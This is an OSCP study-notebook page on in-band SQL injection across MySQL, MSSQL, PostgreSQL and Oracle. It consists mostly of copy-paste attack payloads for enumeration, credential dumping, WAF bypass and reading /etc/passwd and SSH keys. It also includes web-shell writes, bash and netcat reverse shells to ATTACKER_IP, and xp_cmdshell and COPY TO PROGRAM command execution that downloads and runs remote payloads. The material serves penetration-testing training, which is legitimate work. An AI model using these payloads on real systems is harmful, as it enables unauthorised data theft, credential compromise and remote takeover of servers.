Pearson's OSCP Notebook

Union Based SQLi

Properties1
tagssql-injection, union-based, error-based, in-band, mysql, mssql, postgresql, oracle, database, enumeration, file-read, rce

9 min read

Union-Based & Error-Based SQLi — In-Band Injection

What is In-Band SQLi?

In-Band means the attack and data retrieval happen through the same HTTP channel — you see the results directly in the web page response. Two subtypes:

  • Union-Based — append a UNION SELECT to pull data from other tables into the original query’s result set
  • Error-Based — craft queries that force the database to include sensitive data inside an error message

When to use: The page must reflect query output (search results, product listings, user profiles). If the page doesn’t show data from the query → use Blind techniques instead.

📌 1) Union-Based — Step by Step

Step 1 — Confirm injection point

' OR '1'='1'--     → does page load differently?
1 OR 1=1           → numeric context
1' OR '1'='1       → string context

Step 2 — Find the number of columns (ORDER BY method)

Increment ORDER BY until you get an error. The last working number = column count.

?id=1 ORDER BY 1--     fine
?id=1 ORDER BY 2--     fine
?id=1 ORDER BY 3--     fine
?id=1 ORDER BY 4--     ERROR  →  3 columns

Step 3 — Confirm column count with NULL (alternative)

?id=0 UNION SELECT NULL--              error (1 col doesn't match)
?id=0 UNION SELECT NULL,NULL--         error
?id=0 UNION SELECT NULL,NULL,NULL--    no error  →  3 columns

Use id=0 (or any non-existent ID) so the original query returns no rows — your UNION data appears cleanly.

Step 4 — Find printable (string) columns

Replace NULLs one at a time with a test string. Whichever position shows the string in the response = printable column.

-- Test each position
?id=0 UNION SELECT 'INJECT',NULL,NULL--
?id=0 UNION SELECT NULL,'INJECT',NULL--
?id=0 UNION SELECT NULL,NULL,'INJECT'--
 
-- If column 2 shows "INJECT" in the response → column 2 is printable

Tip: If the site requires numeric columns, use CAST('INJECT' AS CHAR) or concatenate: 'INJ'||'ECT'

Step 5 — Extract database info

Swap ‘INJECT’ for real queries (always use a printable column):

-- MySQL
?id=0 UNION SELECT NULL,database(),NULL--        → current database name
?id=0 UNION SELECT NULL,user(),NULL--            → current DB user
?id=0 UNION SELECT NULL,@@version,NULL--         → DB version
?id=0 UNION SELECT NULL,@@hostname,NULL--        → server hostname
 
-- MSSQL
?id=0 UNION SELECT NULL,db_name(),NULL--
?id=0 UNION SELECT NULL,system_user,NULL--
?id=0 UNION SELECT NULL,@@version,NULL--
 
-- PostgreSQL
?id=0 UNION SELECT NULL,current_database(),NULL--
?id=0 UNION SELECT NULL,current_user,NULL--
?id=0 UNION SELECT NULL,version(),NULL--
 
-- Oracle (must use FROM dual)
?id=0 UNION SELECT NULL,user,NULL FROM dual--
?id=0 UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1--

Step 6 — Enumerate databases

-- MySQL
?id=0 UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--
 
-- MSSQL
?id=0 UNION SELECT NULL,name,NULL FROM master..sysdatabases--
 
-- PostgreSQL
?id=0 UNION SELECT NULL,datname,NULL FROM pg_database--
 
-- Oracle
?id=0 UNION SELECT NULL,owner,NULL FROM all_tables GROUP BY owner--

Step 7 — Enumerate tables

-- MySQL (tables in current DB)
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
 
-- MySQL (tables in specific DB / schema)
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='Users'--
 
-- MSSQL
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
?id=0 UNION SELECT NULL,name,NULL FROM targetdb..sysobjects WHERE xtype='U'--
 
-- PostgreSQL
?id=0 UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'--
 
-- Oracle
?id=0 UNION SELECT NULL,table_name,NULL FROM all_tables WHERE owner='SCHEMA'--

String context (no leading ?id=0) — 6 columns, Users schema:

' UNION SELECT NULL,NULL,NULL,NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='Users'-- -

Comment -- - (space + double dash + space + dash) is common when a trailing space is required after --.

Step 8 — Enumerate columns

-- MySQL / MSSQL / PostgreSQL
?id=0 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
 
-- All columns at once (MySQL)
?id=0 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
 
-- Oracle
?id=0 UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--

Step 9 — Dump the data

-- Two columns into one (concat with separator)
?id=0 UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
 
-- MySQL — single printable column, all rows merged (GROUP_CONCAT)
?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL FROM users--
 
-- MySQL — custom separator in group_concat (pipe between fields)
?id=0 UNION SELECT NULL,GROUP_CONCAT(username,' | ',password),NULL FROM users.UserDetails--
 
-- MSSQL (+ concatenation)
?id=0 UNION SELECT NULL,username+':'+password,NULL FROM users--
 
-- PostgreSQL (|| concatenation)
?id=0 UNION SELECT NULL,username||':'||password,NULL FROM users--
 
-- Oracle
?id=0 UNION SELECT NULL,username||':'||password,NULL FROM users--

Worked example — 6 columns, Users.UserDetails (full flow)

Step 2  ORDER BY 1..6        → 6 columns (error on ORDER BY 7)
Step 3  UNION SELECT NULL×6  → no error confirms count
Step 4  Replace col 6 with 'INJECT' → column 6 is printable
Step 7  List tables in Users schema (see Step 7 above)
Step 9  Dump credentials below
' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(username," | ",password) FROM users.UserDetails-- -
PieceWhy
5× NULL + 1 data columnMatches 6-column query; only column 6 displays
users.UserDetailsschema.table when DB user can read that schema
group_concat(...)Merges all rows into one response (single-row pages)
" | " separatorReadable split between username and password
-- -Comment out remainder of original query

→ After creds: Hydra · password reuse · Initial foothold

StreamIO HTB example

📌 2) Handling UNION Complications

String-only columns (can’t use NULL)

-- Some DBs don't accept NULL in UNION — use empty strings
?id=0 UNION SELECT '','data','3'--

INT columns where string fails

-- Cast to match expected type
?id=0 UNION SELECT CAST(1 AS CHAR),username,CAST(3 AS CHAR) FROM users--

Result only shows one row

-- Use GROUP_CONCAT to merge all rows (MySQL)
?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL FROM users--
 
-- MSSQL — use FOR XML PATH
?id=0 UNION SELECT NULL,(SELECT username+':'+password+' ' FROM users FOR XML PATH('')),NULL--
 
-- PostgreSQL — string_agg
?id=0 UNION SELECT NULL,string_agg(username||':'||password, ', '),NULL FROM users--

URL-encoding issues

# Some chars need URL encoding in the URL bar
--   →  --%20  or  --+
#    →  %23
'    →  %27
space → +  or  %20

WAF bypasses

-- Case variation
uNiOn SeLeCt
UnIoN sElEcT
 
-- Comment injection
UN/**/ION SE/**/LECT
UNION/**/SELECT
 
-- Double encoding
%2527   (double-URL-encoded ')
%00     (null byte — old PHP)
 
-- Whitespace alternatives
UNION%09SELECT   (tab)
UNION%0ASELECT   (newline)
UNION%0DSELECT   (carriage return)
 
-- Equivalent functions
MID() instead of SUBSTRING()
IFNULL() instead of IF()

📌 3) Error-Based SQLi

Extract data through database error messages. The DB must show errors to the user.

MySQL — extractvalue() / updatexml()

-- extractvalue() — puts data in the error message
?id=1 AND extractvalue(1,concat(0x7e,(SELECT version())))--
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--
?id=1 AND extractvalue(1,concat(0x7e,(SELECT user())))--
?id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))--
?id=1 AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))--
?id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)))--
 
-- updatexml() — same principle
?id=1 AND updatexml(1,concat(0x7e,(SELECT version())),1)--
?id=1 AND updatexml(1,concat(0x7e,(SELECT database())),1)--
?id=1 AND updatexml(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)),1)--

0x7e = ~ tilde character — used as a delimiter so the data stands out in the error message.

MySQL — floor(rand()) double query

?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
 
-- With data
?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT concat(username,':',password) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

MSSQL — convert/cast error

-- Force conversion error — data appears in message
?id=1 AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
?id=1 AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--
?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))--
 
-- Using @@version
?id=1 AND 1=CONVERT(int,@@version)--
?id=1 AND 1=CONVERT(int,db_name())--

PostgreSQL — cast error

?id=1 AND 1=CAST((SELECT version()) AS int)--
?id=1 AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
?id=1 AND 1=(SELECT 1 FROM(SELECT CAST(current_user AS int))x)--

📌 4) File Read / Write (MySQL)

Requires FILE privilege for the DB user. Common when running as root in MySQL.

Read files

-- Read /etc/passwd
?id=0 UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL--
 
-- Read web config files (find credentials)
?id=0 UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL--
?id=0 UNION SELECT NULL,LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf'),NULL--
?id=0 UNION SELECT NULL,LOAD_FILE('/home/user/.ssh/id_rsa'),NULL--
 
-- Read Windows files
?id=0 UNION SELECT NULL,LOAD_FILE('C:/Windows/win.ini'),NULL--
?id=0 UNION SELECT NULL,LOAD_FILE('C:/xampp/htdocs/config.php'),NULL--

Write files — web shell

-- Write PHP web shell to webroot (must know webroot path)
?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'--
 
-- Full PHP reverse shell
?id=0 UNION SELECT NULL,"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\"); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'--
 
-- Windows webroot (IIS + PHP)
?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE 'C:/inetpub/wwwroot/shell.php'--
 
-- Verify write was successful
curl http://TARGET/shell.php?cmd=id

Copy file (LOAD_FILE → OUTFILE)

Read a file on disk and write it to a path you can reach (e.g. webroot or /tmp):

-- Direct SQL
SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt') INTO OUTFILE '/TEMP/proof.txt';
 
-- Via UNION SQLi (adjust column count)
?id=0 UNION SELECT NULL,LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt'),NULL INTO OUTFILE '/TEMP/proof.txt'--

Tip: Check @@secure_file_priv — if not empty, MySQL can only write to that path.

?id=0 UNION SELECT NULL,@@secure_file_priv,NULL--

📌 5) MSSQL — xp_cmdshell (OS Command Execution)

When you have a MSSQL sa account or sysadmin role:

-- Check if xp_cmdshell is enabled
'; SELECT * FROM sys.configurations WHERE name='xp_cmdshell'--
'; SELECT is_srvrolemember('sysadmin')--
 
-- Enable xp_cmdshell (if disabled)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
 
-- Execute OS commands
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'dir C:\'--
'; EXEC xp_cmdshell 'net user'--
 
-- Reverse shell (PowerShell)
'; EXEC xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER_IP/shell.ps1 -UseBasicParsing)"'--
 
-- Download and execute
'; EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/nc.exe C:\Temp\nc.exe'--
'; EXEC xp_cmdshell 'C:\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444'--

Impersonation (if IMPERSONATE, not sysadmin):

'; EXECUTE AS LOGIN = ''sa''--
'; EXEC xp_cmdshell ''whoami''--
'; REVERT--

→ MSSQL > EXECUTE AS — impersonation (privesc / lateral) · mssqlclient

📌 6) PostgreSQL — COPY OS Command Execution

-- Execute command via COPY TO/FROM PROGRAM (PostgreSQL 9.3+)
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--
'; COPY cmd_output FROM PROGRAM 'id'--
 
-- Create a helper table
'; CREATE TABLE cmd_output(lines text)--
'; COPY cmd_output FROM PROGRAM 'whoami'--
'; SELECT * FROM cmd_output--

📌 Quick Cheat Sheet (Copy/Paste)

-- ─── COLUMN COUNT ─────────────────────────────────────────────
?id=1 ORDER BY 1-- (increment until error)
?id=0 UNION SELECT NULL,NULL,NULL-- (increment NULLs until no error)
 
-- ─── PRINTABLE COLUMN FINDER ──────────────────────────────────
?id=0 UNION SELECT 'INJECT',NULL,NULL--
?id=0 UNION SELECT NULL,'INJECT',NULL--
?id=0 UNION SELECT NULL,NULL,'INJECT'--
 
-- ─── DB INFO (MySQL, col 2 printable) ─────────────────────────
?id=0 UNION SELECT NULL,database(),NULL--
?id=0 UNION SELECT NULL,user(),NULL--
?id=0 UNION SELECT NULL,@@version,NULL--
 
-- ─── ENUMERATE (MySQL) ────────────────────────────────────────
-- All table names in current DB
?id=0 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
-- All column names in users table
?id=0 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
-- Dump users
?id=0 UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL FROM users--
 
-- 6 columns — schema.table + pipe separator (Users.UserDetails lab pattern)
' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(username," | ",password) FROM users.UserDetails-- -
 
-- ─── ERROR-BASED (MySQL) ──────────────────────────────────────
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--
?id=1 AND updatexml(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1)),1)--
 
-- ─── ERROR-BASED (MSSQL) ──────────────────────────────────────
?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))--
 
-- ─── FILE WRITE (MySQL webshell) ──────────────────────────────
?id=0 UNION SELECT NULL,"<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'--
 
-- ─── MSSQL RCE ────────────────────────────────────────────────
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
'; EXEC xp_cmdshell 'whoami'--

Graph View

Backlinks